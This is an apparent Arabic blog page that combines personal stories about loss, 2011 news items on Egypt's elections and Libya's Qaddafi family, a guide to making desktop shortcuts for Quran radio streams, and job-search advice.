-->


لا اتذكر جيداً تفاصيل وجهه و لا تسعفنى الان ذاكرتى لأتذكر منذ متى قابلته لكن اتذكر جيداً كيف كان يبدو و الاهم انى اعرفه نعم انا اعرفه
فهو ليس بالطويل البائن و لا بالقصير و لا بمفتور العضلات ..رياضى ع ما يبدو لكنه نحيف بعض الشئ .. شعره اسود تركت فيه جينات الوراثه شعيرات قليله بيضاء اكسبته لمعه تحت اشعة الشمس ..
هادء الطباع لا تقارق البسمة وجهه .. يمازح الكل .. متحدث لبق ... و الاهم
ان الجميع يشهد ليه بحسن الخلق ..
سكن فقط منذ اسبوعين بمنزل قرب منزلنا

لكن لما يا جدى؟!!

سؤال ابن بنتى قاسم قطع تفكيرى حيث ذهبت به بعيدا اتفكر ف حال هذا الغريب حيث اعصر ذاكرتى لعلنى اتذكره ..

لا عليك يا ولدى .. مجرد سؤال

بادرتة بالاجابه .. فبتسم لي و استأذن و تركنى انا و كتابى خلف شرفتى كعادتى دوما

اما هذا الغريب

فأكثر ما شدنى له انه كان سريع الخطى يبدو دوما كالمتأخر عن ميعاد هام

لفت ايضا انتباهى انه ما مر يوما من امام حديقة منزلنا الا و يرفع عينه ليلتقط لى بنظرة صوره
راسما ع وجه ابتسامه صافيه و كانه يبعث الى من خلف جدران حديقتنا تحياته حيث اجلس خلف نوافذ شرفتى ..

لا ادرى ما الذى جذبنى حقا لهذا الغريب و لما كل تلك المشاعر التى احملها له كانى اعرفه جيدا

قررت أخيراً ان اتحامل ع نفسى و انتظره ف موعد رجوعه لأرسل قاسم ليستأذنه لنشرب سويا كأسه شاى ولعلها فرصه لاتجاذب معه اطراف الحديث لعل ذلك يطفئ انشغالى الدائم فى التفكير به

و كأننا ع موعد

مر بالفعل من امام الحديقه و كان قاسم ف انتظاره و ستأذنه ليتحدث الىَ قليلا
فارسل الشاب نظره خاطفه عبر البوابه فلمحنى فابتسم و قبل الجلوس معى لنشرب كأسا من الشاى سويا

و بالفعل كما وصفه لى قاسم
فلقد كان هادئ الطباع لبق لا تفارق البسمه وجهه
لكن الفت انتابه انه كان قريب منى جدا كمن يحاول ان يحتضننى و يمنعه حياءه من ان يفعل ذلك

و كانت نظرته لى نظره حانيه عطوفه

و لم تمر لحظات حتى استأذن للانصراف و لم يعطنى الفرصه وودعدنى قائلا
اراك قريبا يا ابى

و كانت ام قاسم تراقب حديثنا من خلف زجاج البهو و ما ان ذهب و الا وجدتها بجوارى

اخيرا تحديث اليه يا ابى !!

نعم اخيرا بنيتى

قالت و ما اسمه؟!!

قلت لها نعم؟!

فابتسمت قائله اسمه يا ابى أسمه

قلت لها أنستنى سعادتى بالحديث معه عن سؤاله عن اسمه

قالت لهذه الدرجه؟!

قلت لها لهذه الدرجه ، لا ادرى حقا لما كل هذا الشعور نحوه يا بنيتى

قالت يبدو انه شاب طيب
وتركتى و انصرفت لبعض شئونها

و ما هى الا لحظات حتا دوى ف المكان صوت انصدام قوى تبعه حركه غير عاديه ف الشارع

فنقبض قلبى انقباضة غريبه فرغم ان الشارع بجوارنا كثيره هى الحوادث عليه الا انه لاول مره يباغتنى ذلك الشعور

ذهب قاسم ليتحسس الخبر و عاد مسرعا

يوسف يوسف يا جدى


من يوسف؟!

قال لى هذا الشاب الذى ...
قلت له ماذا حدث يا بنى انطق!!

قال لى صدمته سياره مسرعه و فر سائقها و يبدو انه ف حاله خطره

فسقط من يدى كاسه الشاى التى كنت اشربها معه لم اكملها بعد
و اتجهت مسرعا نحو الشارع كالمجنون نحو صوت الاستصادم

واخترقت الجموع و نظرت فاذا به مسجى ع الطريق وسط بركه من الدماء
و كانه كان ينتظرنى فهز بصعوبه رأسه نحوى و رفع بصره الى فرمقنى ببصره و رسم ابتسامه ع وجه ثم اغلق عنيه

فظننا انه دخل ف غيوبه فساعدنى الحضور ع وضعه داخل سيارتى و اسرعت به الى اقرب مشفى
و ف اثناء الطريق كان يتمتم ببعض ايات القران و ذهبت انا بخيالى اتذكر لحظات قبل قليل كنت معه

و ف المشفى تجمع الاطباء و ما هى الا لحظات حتى فُتحت غرفه العمليات
فيوسف ف حاجه الى عمليه لفقد كسرت اضلعه وخاف الاطباء ان يأثر ذلك ع شرايين قلبه

و بالفعل دخل غرفه العمليات


و ما هى الا لحظات و جاء شب مهرولا يتسأل عن يوسف

فطمئنته و قلت له انه بخير واخبرته انه لتوه دخل غرفة العمليات

و لم تمض سوى دقائق حتى اخبرتنا الممرضه بحاجه يوسف لتبرع بالدم و اخبارتنا بندره فصيله يوسف و انهم اتصلوا بالمستشفيات الاخرى لعلهم يجدوا فصيلة

فبدرتها باننا ع اتم الاستعداد بالتبرع

بالفعل و قدراً تشابة فصيلتى مع فصيلته


جلست بعد ما تبرعت له بالدم لتحدث الى ذلك الشاب الذى جاء ليسأل عن يوسف

فاخبرنى انه صديقه ف العمل

فقلت له حدثنى عنه

فلم يضف لى كثيرا حوله الا انه قال لى ما هز مشاعرى و زلزل كيانى و فسر لى شعورى نحو يوسف

فلقد اخبرنى الشاب بان يوسف اخبره انه هنا اتى من مدينه بعيده ليبحث عن ابوه بعدها اخبرته امه وهى تعالج الموت بان له اب ع قيد الحياة بمديتنا

فبادرته بالسؤال

هل هو حقا اسمه يوسف؟!

قال لى لا

اسمه الحقيقى عبد الرحمن و اخبرنى ان امه حرصت ع ان تناديه بيوسف -هكذا اخبرنى عبد الرحمن بنفسه-

و هنا دارت الارض تحت قدمى و لم افق الا بعد ساعه وما ان فقت الا وسألت عن عبد الرحمن

فعبد الرحمن هو ابنى من طليقتى التى هجرتنى يوما لفقرى و عوزى فقط فلم أستطع ان أوفر لها حياه كما كانت تحلم هى ..

اخبرونى ان عبد الرحمن قد نقل الى العنايه الفائقه ف حاله حرجه

فطلبت منهم ان يسندونى لأرأه

و سمح لى الاطباء ان ابقى بمفردى بجواره فلعلهم ادركوا انها النهايه قد اوشكت

فقبلته بين حاجبيه و نزلت منى دمعه ع وجه فرفع بصره الى كعادته راسما بسمه ع وجهه

و اشار الى جيبه بايدى متثاقله

ففهمت انه يريدنى ان اخرج له شئيا داخل جيبه

و لكن عاجلتنى تعالى اصوات الاجهره بجوارى فندفع الاطباء نحوى وطلبوا منى ان اخلى الغرفه

و ما هى الا لحظات

حتى اخبرنا الطبيب ان سيد الصمت قد خيم على المكان وان عبد الرحمن قد فارق الحياه

فطلبت ان القى نظرتى الاخيره عليه

فدخلت لاجده مستلقى ع ظهره يشع من وجه نورا مبتسما كعادته
فقبلته قبلته ثانيه

و وضعيت يدى ف جيبه لتحسسه فاذا

بصوره فيها ثلاث اشخاص

انا و هو و امه

و كتب ع خلفها



إنى أحبك يا أبى


هنا توقف قلمى عن الكتابه فما شئ اصعب من ان تلقتى بمن تحب ف اللحظه التى كتب عليهم فيها عليهم مفارقتك

اللهم اغفر لى ولوالدي و للمسلمين

ستاار

هذه قصه كتبتها قديما بعنوان (الغريب) و نأنشرها اليوم بعنوان اخر (سيد الصمت) فكم نحن نحتاج الى ان نتذكر احببابنا قبل ان يخيم سيد الصمت على مواقعنا و نفارق هذه الحياه ..

أحمد عمر

إضغط لتعرف أكثر


نقلا عن صفحة الحرية والعدالة
 
اصطف الناخبون في مصر أمام اللجان الانتخابية في طوابير طويلة اليوم الاربعاء للإدلاء بأصواتهم في الجولة الثانية من الانتخابات البرلمانية.
وذكرت بعض المصادر الصحفية التي نقلت صور الطوابير أن الناخبين يتنافسون من أجل تحطيم الرقم القياسي الذي سجلته الجولة الاولى والذي شهد نسبةحضور تجاوزت الـ 60 بالمائة.

وتشمل هذه المرحلة تسع محافظات هي الجيزة ، المنوفية ، الشرقية ، الاسماعيلية ، بنى سويف ، السويس، البحيرة، سوهاج، وأسوان، ويتنافس فيها نحو33 حزبا تدفع بنحو3387 مرشحا بنظامي الفردي والقوائم، يتنافسون على180 مقعدا.

ويبلغ عدد المرشحين بالنظام الفردي في المحافظات التسع2271 مرشحا، يتنافسون علي60 مقعدا، في حين يتنافس1116 مرشحا وفق نظام القائمة الحزبية علي120 مقعدا.

من ناحية أخرى, اقتحم مسلحان فجر اليوم الأربعاء، فيلا رشاد بيومى نائب المرشد العام لجماعة الإخوان المسلمين، ونجحا فى الاستيلاء على مبلغ 70 ألف دولار، وذلك بعد أن هددا المجنى عليه بواسطة سلاح أبيض، فتحرر محضر بالواقعة وتولت النيابة والتحقيق.

فقد تلقى اللواء عابدين يوسف مدير أمن الجيزة بلاغا يفيد فيه أنه أثناء تواجده فى فيلته الكائنة فى منطقة أكتوبر، ففوجئ بعاطلين يحملان سلاحا أبيض "مطواه" اقتحما الفيلا، وقد نجحا فى الاستيلاء على مبلغ 70 ألف دولار تحت تهديد السلاح، ثم فرا هاربين.

وبتكثيف التحريات وإعداد الأكمنة اللازمة تمكن هانى درويش رئيس مباحث قسم أول أكتوبر من إلقاء القبض على أحد المتهمين بحوزته 40 ألف دولار من إجمالى المبلغ المسروق، وتبين أن المتهم مسجل خطر سبق اتهامه فى 25 قضية، فأحيلت الواقعة إلى النيابة لتولى التحقيق، بينما تكثف الأجهزة الأمنية بمديرية أمن الجيزة من جهودها للتوصل إلى المتهم الآخر الهارب.

نقلاً عن موقع المسلم


إضغط لتعرف أكثر

السلام عليكم ورحمة الله وبركاته



معلومة جميلة وهامه

جـدااا

جـداااااااا

جـدااااااااااااااااا

جـداااااااااااااااااااااااااااااا

بجد تستاهل النشر

تعالى علي (سطح المكتب) و اضغط (كليك يمين) ثم اختار
new

... ... ... ... ... ومنها
Shortcut
...
هايظهر لك نافذه بها مستطيل من فضلك الصق هذا احد هذه الروابط
إذاعه القران الكريم المصرية :
mms://radio.onlinehorizons.net/QuranKarem

الإذاعة العامة - إذاعة متنوعة لمختلف القراء
mms://50.22.223.13/radio

إذاعة القارئ ماهر المعيقلي
mms://50.22.223.13/maher

إذاعة القارئ أحمد العجمي
mms://50.22.223.13/ajm

إذاعة القارئ سعود الشريم
mms://50.22.223.13/shur

إذاعة القارئ عبدالباسط عبدالصمد
mms://50.22.223.13/basit

إذاعة القارئ عبدالرحمن السديس
mms://50.22.223.13/sds

إذاعة القارئ سعد الغامدي
mms://50.22.223.13/s_gmd

إذاعة القارئ محمد صديق المنشاوي
mms://50.22.223.13/minsh

إذاعة القارئ عبدالباسط عبدالصمد - المصحف المجود
mms://50.22.223.13/basit_mjwd

إذاعة القارئ مشاري العفاسي
mms://50.22.223.13/afs

إذاعة القارئ خالد القحطاني
mms://50.22.223.13/qht

إذاعة القارئ ناصر القطامي
mms://50.22.223.13/qtm

إذاعة القارئ فارس عباد
mms://50.22.223.13/frs_a

إذاعة القارئ إدريس أبكر
mms://50.22.223.13/abkr

إذاعة القارئ ياسر الدوسري
mms://50.22.223.13/yasser

إذاعة القارئ شيخ أبو بكر الشاطري
mms://50.22.223.13/shatri

ثم next

ثم سميها بالاسم الذى فوق الرابط

ثم finish

وفي النهاية تجد علي سطح المكتب (ايقونة) وشكلها زي (المديا بلاير او الريل بلير)

المهم اضغط عليها 2 كليك تعمل معك اذاعة القران الكريم التى اخترتها .

يلا ياعم حسنات جارية بسهوله أهو لو الشيطان منعك إنك تنفذ الخطوات
ياريت ما يمنعك إنك تضعط علي (مشاركة) يمكن غيرك يستفاد

انشرها ولك الأجر والثواب لعلها تكون فى ميزان حسناتك إن شاء الله

إضغط لتعرف أكثر

السلام عليكم ورحمة الله وبركاته
 
 
 
 
 
 
 
 
مصر اليوم تنتخب !!

إضغط لتعرف أكثر

السلام عليكم ورحمة الله وبركاته

اعلن منذ قليل ثوار الزنتان القبض على سيف الاسلام القذافى بالقرب من مدينة سبها فى الجنوب الليبى
ويتم نقله حالياً بطائرة عمودية الى العاصمة الزنتان الغرب مع التأكيد على توفير محاكمه عادله له .
سيف القذافى هو مواليد 1972
تخرج فى كلية الهندسه فى جامعة الفاتح
حصل على درجه الماجستير من النمسا
حصل على درجه الدكتوراه من إنجلترا
لا يشغل منصب رسمى وان كانت كل المؤشرات الى انه الوريث القادم للقذافى الاب
مشهور بخطابات التحريضيه على الثوار
لم يعد بعد القذافى الاب سوى عبدالله السنوسنى رئيس مخبارات القذافى وتنطوى للابد صفحه القذافى و عائله فى ليبيا الجديده

إضغط لتعرف أكثر

السلام عليكم ورحمة الله وبركاته



إبرام ,, فتى لم يتجاوز العشرين ربيعاً أو يكاد ,, نصرانى ,, أتى ليعيش بالجوار مع عائلته



قبل يومين احتجت ان أطبع بعض الورق -لديهم مكتبه للطباعه والتصوير-

فخرجت لاراه مكتبتهم من بعيد على انه مازالت مفتوحه ,, فرجعت بيتى مره اخرى لابحث عن الفلاش ميمورى فلم اجده

فأضطريت لاخذ حاسوبى والذهاب به لديهم



لكن لسوء حظى فقد اغلق محله ,,



فأتصلت بهِ على هاتفه ,, فرد مسرعاً ,, أحمد ,, مرحباً ,,

إبرام كيف حالك؟

نشكر الله


إين انت؟

فالمنزل


طيب انا محتاج ..


فاطعنى : اين انت؟

اسفل منزلكم


فقل لى سأنزل لك


وبالفعل قابلنى

حكيت له ما اريده ,, فاعتذر لانه اغلق المكتب حيث انه الطابعه فيها مشكله اليوم

ثم

قال لى ما رأيك بما انك تحتاج الى الطباعه ,, سأحضر لك الفلاش ميمورى الخاص بى و لديكم بجواركم مكتب يفتح مبكراً


فستستطيع ان تطبع منه


وبالفعل صعد الى الاعلى واحضر الفلاش ميمورى










لكنى


لم اطبع عند الرجل الذى بالجوار ,, وذهبت على إبرام اسأله ان كان تم إصلاح الطابعه ام لا

فاخبرنى بالايجاب


فطلبته ان يطبع الى بعض الوريقات


ففعل

ثم

سألته كم؟


قال لى مش هاخد فلوس دلوقتى


قلت له


إبرام

ستأخذ

لن افعل والله يا احمد وذهب الان


قلت له حقك هذه 17 و كان لدك عندى ورقه ايضا اذا هى 18 ورقه

قال

والله لاحسبك عليهم بس امشى شويف دلوقتى عاوز تعمل ايه-هو يعلم ضيق وقتى-

لكنى فالاخير لم اعرف انا لما اصر على انه لا يخذ المال لكنى قبل ان اهم بالخروج قال لى


أحمد

والله انا ما بعرف بحبك ليه ,, انا بحبك لله فى لله

فمازحته قائلاً : علشان انا قمر :- p


قال لى ابن ناس-تعنى مؤدب ومحترم وصاحب زوق ومروءه-


قلت له اذا خذ مالك


قال لى اذهب والله سأحاسبك












كان ذلك اول أمس













وبالامس مساءً

















مات إبرام فى حادث ومعه ثلاثه من اصدقاءه او ربما اربعه










اغلبهم مما نعرفهم














مات ولم يف لى بوعده انه سيحاسبى













مات إبرام ,, ولا اعلم الى اين ذهب ,, ولا كيف سيلقى ربه ,,


اسأل الله ان يكون ختم له على الاسلام ,,









مات إبرام لترك رساله لمن بعده من الاغبياء



























ايها السادة والسيدات













الحياه ,, أقصر مما ان نفى فيها بكل ما نعد





إيها الاغبياء












الحياه .. أقصر من ان نقضيها فى الاحزان و الاوهام و الشجار والعراك













الحياه أفصر من ان نفعل فيها كل شئ












إبرام مات ,, يترك رساله
















ان الموت عدواً مازال بالجوار












فمن بعدى ,, لسان حال برام فى قبره



















إيها الاغبياء







أنا اكرهكم ,, أكره النكد والتعاسه و أكره المعاصى والذنوب



إيها التعساء فى الدنيا



لم تأتى بمشاكلك ,, ولن تذهب بها















مات إبرام ,, ليقول للكل البشر







(إِنَّ اللَّهَ عِنْدَهُ عِلْمُ السَّاعَةِ وَيُنَزِّلُ الْغَيْثَ وَيَعْلَمُ مَا فِي الْأَرْحَامِ وَمَا تَدْرِي نَفْسٌ مَاذَا تَكْسِبُ غَدًا وما تدري نفس بِأَيِّ أَرْضٍ تَمُوتُ إِنَّ اللَّهَ عَلِيمٌ خَبِيرٌ) لقمان 34 صدق الله العظيم



فكم من الاغبياء الذين يموتون من حولنا ,, كل يوم ,, ومازالت انفسهم بين صدرانيهم ,,


كم أنا غبى ,, وكم من حولى من الاغبياء ...



مات ليذكرنى ,, بأناتى ,, فهى ايضا وعدتى انها ستعود ., فلا هى عادت ولا انا رحلت لها

ابى كذلك و قبله صديقى

الكل

مات

ليتركنى



الكل يخلف وعده معى ,, لا احد من حولى يمهله قدره ان يكون بجوارى



اشعر بحزن دفين يصدع اركانى




مات ليقول لى

ابكى


فلن تستطيع فعل شئ


ابكى


ع رجاء ان تفى انت بوعدك

لا نقول الا ما يرضى ربنا


إنا لله وإنا إليه راجعون



اسأل الله فى هذه الجمعة ان يغفر لى و ان يغفر لكل من حول من الاغبياء و ان يهدينا ويشرح صدورنا وان يجمعنا وكل من نحب فى الجنه


اللهم انى اعترف لك بتقصيرى ,, واعترف لك بكرمك وجودك و جلالك



فرأف بى يا إلهى وبالمسلمين



ربى إغفر وأرحم


وجازنى بالاحسان احساناً و بالتقصير عفواً و غفرناً



اعتذر الان لمن اسأت إليه ,, أعتذر لم خيبت ظنه فى

أعتذر

لمن أحب

اعتذر

فربما ,, لا استطيع ان اعتذر لاحقاً



فعذراً

احبتى

عذراً

فكم من المفارقات تحدث ,, فالحياة

فهل ستقبلوننى ؟


أتمنى



دوماً ان نبقى بالجوار على الطاعه



وان يلهمنى الله القين فى ان تتحقق كل احلامى ,, وان يجزنى الجنه , وان يجمعنا فيها بكل من احب

وان يبارك لى فى عمرى وعملى و حياتى وصحتى

وان يرزقنى يقينا فيه وحبا له وان يرزقنى تقواه

اسأله بانه الواحد الاحد الفرد الصمد الذى لم يلد ولم يولد ولم يكن له كفواً احد

اسأله

بانه اللهم مالك الملك تؤتى الملك من تشاء وتنزع الملك ممن تشاء وتعز من تشاء وتذل من تشاء بيدك الخير انك على كل شئ قدير


إضغط لتعرف أكثر



ها و قد قُتل القذافى 


قال تعالى: {لِلَّهِ الْأَمْرُ مِن قَبْلُ وَمِن بَعْدُ وَيَوْمَئِذٍ يَفْرَحُ الْمُؤْمِنُونَ بِنَصْرِ اللَّهِ يَنصُرُ مَن يَشَاء وَهُوَ الْعَزِيزُ الرَّحِيمُ وَعْدَ اللَّهِ لَا يُخْلِفُ اللَّهُ وَعْدَهُ وَلَكِنَّ أَكْثَرَ النَّاسِ لَا يَعْلَمُونَ ، يَعْلَمُونَ ظَاهِرًا مِّنَ الْحَيَاةِ الدُّنْيَا وَهُمْ عَنِ الْآخِرَةِ هُمْ غَافِلُونَ}(الروم4- 7).



و قال تعالى :

وَتِلْكَ الأَيَّامُ نُدَاوِلُهَا بَيْنَ النَّاسِ } [آل عمران:140]
                                     
     هي الدنيا كما شاهدتها دول # من سرّه زمن ساءته أزمان 

الصور الاولى لمقتل القذافى ,,






وتلك نهاية كل ظالم


نسأل الله لمصرنا الحبيبه و لليبيا ولكل بلاد المسلمين ان ينعم عليهم وان يولى من يصلح يرفعوا للاسلام رايه وان يحققوا الرخاء والتنمية و السعاده لشعوبهم ,, الحبيبة 


سبحانك اللهم وبحمدك لا إله الا انت , أستغفرك وأتوب إليك 

إضغط لتعرف أكثر



أولا: اعتمد بعد الله على نفسك دون الواسطة:
اعتمادك على الله يقلل توترك ويدفعك للأخذ بالأسباب. أنت ستقابل إنسانا مثلك فلا داعي للتوتر أو القلق أثناء المقابلات الشخصية.
تذكر دوما أن آخرين ربما يكونون أحوج منك إلى الوظيفة فلا تظلمهم باللجوء إلى الواسطة أو المعارف.
وتذكر أن الله قادر على رزقك أينما كنت بواسطة وبدون (هل لو توفي الشخص ذو النفوذ الذي تستند إليه للوصول لوظيفة معينة، هل يعجز الله عن تيسير وظيفة أخرى لك؟)
إذا كنت موظفا في قسم الموارد البشرية فاعدل بين جميع المتقدمين ولا تفضل معارفك أو أصدقاءك.
لا داعي للتوتر أو القلق، واحرص على مشاركة أحباءك ( الوالدان و شريك(ة) العمر) بخطواتك في البحث عن وظيفة، فهؤلاء أولى الناس بمعرفة ذلك وبأن يشاركوك بالنصح والإرشاد. أحيانا قد تكون ملاحظاتهم حادة، أو قد تكون لهم وجهة نظر مختلفة إزاء رفضك للعمل في شركة ما مثلا، فاحرص على تقبل ذلك بهدوء والحوار معهم بشكل مستمر، فهم أحرص الناس على مصلحتك بالتأكيد.



ثانيا: جهز ملف السيرة الذاتية جيدا:
اهتم بكتابة السيفي بشكل لائق وموجز لا يتجاوز صفحة أو اثنتين إذا كنت حديث التخرج.
ابدأ بالتعليم ثم بخبراتك الأحدث فالأحدث. إذا لم تكن ذا خبرة عملية فاكتب التدريب الذي حصلت عليه حتى ولو كان عملك في سوبرماركت بالصيف أو مساعدتك لوالدك في عمله الخاص. اهتم كذلك بإدراج أنشطتك الطلابية والاجتماعية والخيرية عبر الكلية أو الأندية الاجتماعية أو الجمعيات الخيرية (تطوع في جمعية رسالة أو جمعية صناع الحياة مثلا).

أيضا رتب عناصر الخبرة والسيرة الذاتية بشكل عام، دوما رتبها في شكل نقاط محددة ومختصرة.
لا تستهلك مساحة ملف السيفي أو السيرة الذاتية لإدراك معلوماتك الشخصية (العنوان، التلفون، ..إلخ) إذ يكفي وضعها جميعا في سطرين متتالين أو ثلاثة فقط باستخدام جداول الوورد بحيث تستغل المساحة الأفقية للورقة وتتيح فرصة أكبر للحديث عن خبراتك وتدريبك لا عن بياناتك الشخصية. لا داعي للتفصيل الممل في العنوان لأنهم لن يرسلوا لك بوكيه ورد في عيد الميلاد.

إذا كنت محاسبا ذا خبرة عملية طويلة لعدة سنوات، فيفضل عمل سيفي من صفحتين مثلا لخبراتك في مجال المحاسبة، وآخر لخبراتك في مجال التمويل، وثالث لخبراتك في العمل الإداري والإشراف، وهكذا. قدم السيفي المناسب للوظيفة المناسبة. أنا شخصيا لدي سيفي لعملي في مجال استشارات التسويق الالكتروني والشبكات الاجتماعية، وآخر لخبراتي في تطوير الأعمال، وثالث لوظائف التسويق والمبيعات، ورابع للوظائف الإدارية، وخامس للاستشارات، وسادس لإدارة منتجات وبرامج نظم المعلومات، وكنت لكل وظيفة معينة أرسل لها السيفي الملائم والذي يبرز خبراتي وعملي في مجال محدد. لا تكتف أبدا بسيفي واحد عام فهو يقلل كثيرا من وجهة نظري من فرص طلبك لمقابلة شخصية.



ثالثا: لا تكتف بالايميلات والمواقع فقط:
رغم أنني لخصت قائمة جيدة لمواقع التوظيف وشركات الموارد البشرية على هذا الرابط، إلا أن الاعتماد فقط عليها غير كاف للعثور على وظيفة.
إذا قدمت لوظيفة بشركة اتصل بهم للتأكد من استلامهم السيفي واسأل عن موعد المقابلة الشخصية بشكل لطيف.
احرص على تصفح مواقع الشركات الشهيرة في مجال عملك فبعض الشركات تكتفي بالإعلان عن وظائف على مواقعها الالكترونية فقط.
احرص على تعريف أصدقاءك ومعارفك بأنك تبحث عن عمل، لا لكي يساعدوك في اجتياز المقابلة الشخصية ولكن فقط لتعرف ما إذا كانت هنالك وظائف شاغرة في أماكن عملهم ربما لم يعلن عنها. ويا سلام لو تحرص على إخطار زملاء دفعتك بالوظائف الشاغرة اللي أنت عارفها بحيث تساعدهم كما في التوظيف، تعتقد لو انت عملت كده ربنا ح يسيبك أو ده ح يأخر فرص توظيفك مثلا؟ طبعا لأ.
هل تعمل حاليا ولا تبحث عن وظيفة؟ حسنا، ما رأيك أن تكون دوما مبادرا بإخطار أصدقاءك ومعارفك بأية وظائف شاغرة تعرف بها سواء في شركتك أو من أصدقاءك وايميلات معارفك. الدنيا سلف ودين، ربما غدا أو بعد غد تكون أنت في نفس الموقف وبالتأكيد لا يضيع الله أجر من أحسن عملا، أليس كذلك؟



رابعا: لا ترفض مقابلة شخصية حتى لو في شركة لن تعمل بها:
شباب كتير بيرفضلوا مقابلات شخصية أو يطنشوا في حالة لما أسلوب الشركة معاه في التلفون ميعجبهوش، أو بسبب مثلا أنه متخيل أن دي شركة آخرها (من وجهة نظره) خمسميت جنيه في الشهر فأتعب نفسي ليه وحاجات غريبة كده.
كمان ناس بتعتذر عن مقابلات لأنها بتشعر أن الوظيفة اللي هم مطلوبين ليها مش مناسبة ليهم أو لإمكانياتهم من وجهة نظرهم.
جزء من سبب ده إن ساعات لما اللي مقدم على وظيفة بيسأل موظفة الموارد البشرية اللي بتطلبه للمقابلة، لما بيسألها عن الوظيفة وتفاصيلها (وده شيء مش مستحب بالمناسبة) الموظفة نفسها كتير مش بتكون ملمة أصلا بطبيعة وتفاصيل الوظيفة، وبالتالي لا تكون قادرة على نقل صورة كاملة عن الوظيفة أو طبيعتها، وعشان كده النتيجة بتكون إن الشاب أو البنت اللي مقدمين للوظيفة بيطنشوا المقابلة أو يقوللوا دي باين عليها شركة أي كلام.

المفروض كل ده يتغير!
إياك ترفض مقابلة شخصية مهما كان خصوصا لو عندك وقت لكده. وبعدين يا سيدي معاليك متخرج من الجامعة وحديث التخرج والمستقبل قدامك، وراك ايه يعني في الحياة متروحش المقابلة؟ روح المقابلة بنفس مفتوحة وابتسامة شيك وقابل الناس، وصدقني ح تستفيد مليون في المية.

ساعات شركات بتقابل ناس وممكن فعلا متكونش انت مناسب للوظيفة، بس اهتمامك ورغبتك في العمل ساعات كتير تلاقيهم يقولولوك طيب احنا مثلا لسة عندنا وظيفة شاغرة في مجال كذا وانت باين عليك كويس، ايه رأيك تقدم فيها؟ مش عايز أقوللكم ساعات شباب بيتحولوا في مواقف زي دي للشخص المختص لوظيفة أخرى غير اللي قدموا لها وبينجحوا ويشتغلوا.
النقطة المهمة كمان، إن المقابلات دي تعتبر كنز خبرات لا يعوض، ح تعرف الشركات شغالة في مجال ايه وانت ممكن تستفيد منهم في ايه ممكن حتى لما تبقى شغال في شركة تانية وتعمل مقابلة في شركة شحن فتكون عارف إن فيه شركة شحن بالمواصفات الفلانية وشغلهم بالطريقة دي مثلا. ساعات الكتير الواحد في المقابلات بيعرف أنشطة تجارية وخدمات بيزنس ممكن الواحد ميكونش متصور إنها موجودة أو متخصصة أوي كده في جزئية تجارية معينة.




خامسا: أرسل رسالة شكر في اليوم التالي للمقابلة الشخصية:
خلاص انتهت المقابلة الشخصية؟ في الحقيقة لسة باقي خطوة مهمة.
وسعادتك في المقابلة الشخصية جايز فيه أسئلة تلعثمت في الرد عليها بسبب الارتباك مثلا، صح؟
كمان في المقابلة دايما الواحد بيعرف معلومات عن طبيعة عمل الشركة والوظيفة اللي احنا بنكون مقدمين فيها، اعصر ذهنك وتذكر المواقف والإنجازات اللي انت عملتها وكانت مرتبطة بمواقف ومهام مشابهة للوظيفة اللي انت عملت المقابلة بخصوصها.
ابدأ الرسالة بشكر اللي انت قابلته على وقته (لو ما أخدتش كارته الشخصي ابعت الشكر ده لايميل الموارد البشرية واتصل بيهم بالتلفون يوصلوه للشخص أو الأشخاص اللي قابلتهم في الشركة)، ومباشرة بعد سطر الشكر وضح أكثر النقاط اللي تلعثمت فيها، أو أكد على مهاراتك الشخصية في جزئية معينة، أو اكتب عن إنجاز أو نجاح معين في وظيفة سابقة أو أثناء دراستك الأكاديمية.

سادسا: الراتب الشهري مش كل حاجة:
دايما شباب كتير بيرفضوا وظائف بسبب الراتب بيعتبروه مش راتب كبير ومجزي. ونسبة كبيرة من الشباب بيكونوا فعلا محترمين وشاطرين في شغلهم ومتفوقين في أداءهم وبالتالي بيكونوا عايزين يحسوا بنتائج ده في مستوى الراتب بتاعهم.
النقطة اللي عايز أوضحها للشباب إنه كمان الشركات نفسها بتكون لديها رغبة في دفع رواتب عالية بس للموظف(ة) الذي تثبت كفاءته، طيب دي نحلها ازاي، خصوصا لو انت معندكش خبرة كافية؟

الحل ببساطة هو إنك ممكن تضحي شوية في فترة الاختبار الثلاثة أشهر أو الشهرين، على أن يكون هنالك إعادة نظر في الراتب بعد هذه الفترة. أنا حاصل على ماجستير إدارة الأعمال واشتغلت في شركة كبيرة نوعا ما لنظم المعلومات في القاهرة وبدأت براتب أقل من أول راتب حصلت عليه بعد تخرجي مباشرة من كلية الهندسة. كل اللي عملته إني اجتهدت في شغلي وكان المفروض فيه زيادة في الراتب بعد شهور الاختبار الثلاثة للتفاوض عليها. في أول شهر حصلت على زيادة 25% دون أن أطلب، وبعد انتهاء فترة الاختبار (وكانت أول مرة أشتغل في المجال ده) تضاعف الراتب الشهري.

لو كنت حديث التخرج فإياك أن تتكبر على وظيفة بسبب الراتب، وبعدين يا سيدي الشركات مخلصتش في البلد، ابدأ اشتغل وقدم كمان على وظائف أحسن برواتب أعلى محدش ح يحبسك في شركة معينة يعني. وللا ايه يا شباب؟

أعيد التأكيد على النقطة الأولى وهو أنه بعد الاعتماد على ربنا، وهي إياك إياك والواسطة. احنا كخريجي جامعة ونظم معلومات، ممكن نقدم على وظائف من الموبايل واحنا نايمين تحت البطانية، والمكالمة بتاعت المقابلة الشخصية كمان ممكن تيجي واحنا نايمين تحت البطانية، وسيادتك ممكن تكون قادر على السفر بالقطار المكيف من الإسكندرية للقاهرة مثلا، أو بسيارتك لمكان العمل.
دايما افتكر إن فيه ناس من محافظات نائية أو شباب غير قادر ماديا، مش بيفرق عنك كتير في العلم ولا العائلة ولا الأخلاق ولا التدين، ورغم كده بيلف الشركات وبمواصلات متعبة ومن الفجرية بيكون في قطار من القرية للمدينة، يعني معاناة كبيرة جدا، تذكر هؤلاء والشيطان يدعوك أو يزين لك الواسطة.
تذكر دوما أن هنالك حملة دبلومات فنية ومهنية لا يوجد في مجال عملهم حاجة اسمها التقديم على الانترنت، بل لازم ينزل من بيته لمنطقة زي العاشر من رمضان والسادس من أكتوبر ويلف في عز الحر على المصانع والشركات وسط صحراء قاحلة حيث لا معالم مدينة ولا قهوة ولا حتى سوبر ماركت لشراء زجاجة مياه.
افتكر كل ده قبل ما تظلم نفسك بالسعي لواسطة، وبلاش الواحد يحرج معارفه علشان أنانية مفرطة في حين ممكن غيرك فعلا أولى بالوظيفة وجايز لو ما اشتغلش والدته مش ح تتعالج كويس. وبعدين ربنا دايما موجود وهو أعلى وأعظم من كل المعارف والواسطات، صح وللا أنا غلطان؟




ربنا يوفق الجميع.


المصدر
ست نصائح للعثور على وظيفة محترمة (تجربة شخصية)

